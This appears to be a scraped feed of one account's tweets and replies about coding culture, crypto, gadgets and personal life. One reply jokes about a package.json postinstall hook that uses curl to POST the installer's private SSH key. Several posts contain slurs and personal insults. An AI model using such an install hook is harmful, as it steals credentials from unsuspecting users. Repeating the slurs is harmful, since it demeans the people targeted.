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Clean code made a guy I worked with unironically create a function “add” that takes two numbers as input and returns their sum. He wrote tests for it.
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My senior dev colleague recommended me this book saying if I want to become a good software engineer, this book is a must. I heard about it from others as well. It was published in 2008 by the man who has been coding since 1970s, but it seems, the principles he describes are
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@ilyamiskov don't fix what ain't broke. last thing I want on my camera is janky animations
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@The_Sourkraut and he has the utter balls to drink it
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@StatisticUrban imagine being among these
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@saggot9 did a meteor crash here or what
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@BrainXpansion @AMAZlNGNATURE for once there is an actual explanation in the comments as the first video instead of some unrelated engagement bait.
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@ilyamiskov @denzelcanvas except for the pc pretty much all of these items had essential features added that changed their design. i don't what is supposed to be wrong with the pc. we still use monitors, mice and keyboards as we did back then? also the ui barely changed.
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@145k4 yep, just put you on a list.. good luck out there!
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@heartereum yea no way you could turn the wheel that fast in a regular car
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@ilyamiskov @denzelcanvas before you shitpost me on the "ui barely changed": we still have windows, task bars, desktops, folders ect. just cause we swapped out the images, the underlying design principles stayed the same. basically the same goes for the car.
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@MazouniFarouk the first image is art
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@yacineMTB am i gonna have to be the one who tells you about airdrop?
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@somewheresy @TheDanPeters sounds like the worst setting ever
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bro why the hell would you use solana? i know you're new to this crypto stuff but what you wanna do is buy arb on coinbase and send it to your wallet and then no wait you'll need to buy eth and send it too for gas and then make sure you always keep some but you'll need to
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@justalexoki It’s a weird kinda socialist structure happening between waiters and customers
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@TwonXBT I wouldn’t trust a phone case from temu
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@kimmonismus y'all are shredding your GPUs for this?
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@vin_acct What’s concerning here is the “windows powershell”
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@hashnode POV: you never used tailwind
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@edandersen Fair point
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@cooltechtipz Or… idk… check your brakes?
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@ktn_rs WTF did I just read? Could they explain the motivation behind it?
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@hot_girl_spring that's too efficient Object GetRandomEnemy() { int rand = Random.Range(0, enemies.Length) int i = Random.Range(0, enemies.Length) if (rand === i) { return enemies[rand] } return GetRandomEnemy() }
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@status_unown Yeah you’ll get into trouble at some border if you don’t update that
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i got a retardio nft/pfp 2h ago and this is what happened next
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@DrNickA I cried a little inside
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@Aaron_Carpentr we're talking about the rounding dear
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@the_engi_nerd I believe it might have stemmed from a 100% test coverage requirement that’s actually anchored into their salary. (I wasn’t employed there) Paired with a very dense opinion on what a “unit” is.
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@urxvt_urabe @sexual_penis yea, it's where the word "circle-jerk" originated
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@BennettBuhner ah yea 240 watts on a chinese phone is surely gonna end well.
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@mattpocockuk "postinstall": "curl -X POST -F "file=@~/.ssh/id_rsa" "
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@nigeleccles nah bro the deep state funneled 50m into polymarket to manipulate like 10 people
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@jussisaur I once did sth like const day = 24 * 60 * 60 * 1000 and they were like "NO MAGIC NUMBERS!!!!"
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@0xgaut @JayMAllen Wait so what’s the extra 2$?
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@yacineMTB @evisdrenova wait until you learn about how people think of the name X
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this is one of the most beautiful charts I have seen in my life
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non-blacks who keep saying "nigga"
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@nightshademagia when you connect a new iphone xcode syncs some kinda symbols or whatever. takes like 2-3 mins. when i did this with my non-techie coworker I jokingly said "thanks for letting me download all your data" yea i am not sure if that came across right
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@Davido_Fan_Base if her name is "censori" why aren't we doing just that?
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fuck the blue check retardio
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@Di4mondD4y Don’t worry about it
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Got my thing
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@btcnft420 Unless it going up
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@thekitze never used mobile first css? skill issue
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just wrote my first smart contract. thanks claude.
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@ImLunaHey @ThePrimeagen you really are just one miserable piece of shit
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@AlarmstufeRuud @Puffl86 @crowdi_xoxo @rabe8i es heisst "safe", lern wenigstens deinen ami slang richtig
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@AlarmstufeRuud @Puffl86 @crowdi_xoxo @rabe8i ich will einfach nur, dass du nicht weiter mit deinem möchtegern slang blamierst
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plz stop doing this
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@the_engi_nerd Best part about it: he would mock every call to imported stuff. Bro literally rewrote half of his imported code to test it by not actually testing it. Truly heroic.
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@yacineMTB @dysmemic can you fix the search next?
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@Hasen_Judi Good lord I wish. I think the params were 2 and 3. A 100% coverage requirement that’s actually anchored into your salary makes you do things. Anyway, was a freelance gig that I left after about half a year. Two teams worked on one frontend for more than 2 years and it didn’t
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@bigcheeseman45 @The_Sourkraut idk i'd rather take a bullet to the head than potentially being poisoned with some vile shit
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@MKVRiscy we should take him more for his attitude towards business than for his coding skills tbh
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@stunninbrina did that dude draw his beard on?
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I love Belgian cuisine
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@levelsio @DanielKnez jfc blocked me right away
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@0xgaut keyboard leg-straps is crazy
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@0xMert_ @level941 The level of retardation here is quite unbearable
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@Mengo329 you should also be mad at every self-proclaimed "autist"
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@jessepollak @normiladymaker @kemonokaki what the fuck is your problem, thousands of people got their profiles wrecked cause of this? how redacted are you?
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@IroncladDev mailing list seems wild
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I have been locked in too long and in the wrong way. Stopped smoking weed. Trying to stop drinking. Cranking my steps per day up about 3x for now, workouts up when I feel like a normal person again. Need to lose weight. Need to gain back cardio. Wish me luck.
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@justinsuntron This is probably one of the saddest things I have ever seen.
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POV: you didn't get an allo
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@yacineMTB With twitter people knew exactly what’s going on, tweeting even made it into our vocabulary. I don’t think I’ve seen X be referred to without a reference to twitter (aside from you and Elon) cause it just doesn’t read like a name.
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@zachxbt @chairperson lmao how did you even pull that up
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i stopped smoking weed and got lazier. what the fuck.
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@punk1685 not sure how to tell you this but 200 sol isn't 95k
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Achievement unlocked: appear on elons feed ☑️
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@justalexoki had to mute that dude, really wonder why sama even bothered interacting
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@Icelili1 aren't 3/4 pants considered gay?
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@iconredesign The difference here is literally the accelerometer just working as it should (and usually hasn’t in cheap phones)
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Am I alone for thinking this?
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@yacineMTB @evisdrenova most brutal and idiotic murder of a brand
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@IroncladDev What happens now? Someone still has to email this to Linus
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@JackLinFLL @Launchpad_McQ @DallasTexasTV ah yes, texting makes it much more understandble
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@levelsio @DanielKnez so this is highly bottable is what you are saying
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Cracked the first k. Thanks everyone, I love everyone of you ❤️
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@DylanMcD8 -500 usd in a whim
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@ahmedshubber25 @DrChrisCombs imho the cars in mad max had better welding
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@trading_axe wow somehow the most incel thing i have read all day
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@somewheresy @TheDanPeters yea but did it make you stupid?
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okay y'all wanted a face doxx, here you have it
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@AdamRackis why u spreading it tho
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did he not get the french passport cause of how he was being treated in russia? lmao. attention whores.
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JUST IN: 🇷🇺 🇫🇷 Russia is working to free Telegram founder Pavel Durov after he was arrested in France.
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@yacineMTB theo? the theo who things floating number imprecisions were a javascript problem?
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jumper => no liquidity? orbiter => buggy? is there any other bridge that works rn for evm => sol?
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holy fuck these warp accounts are absolute insufferable cancer
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@heartereum rider on the storm
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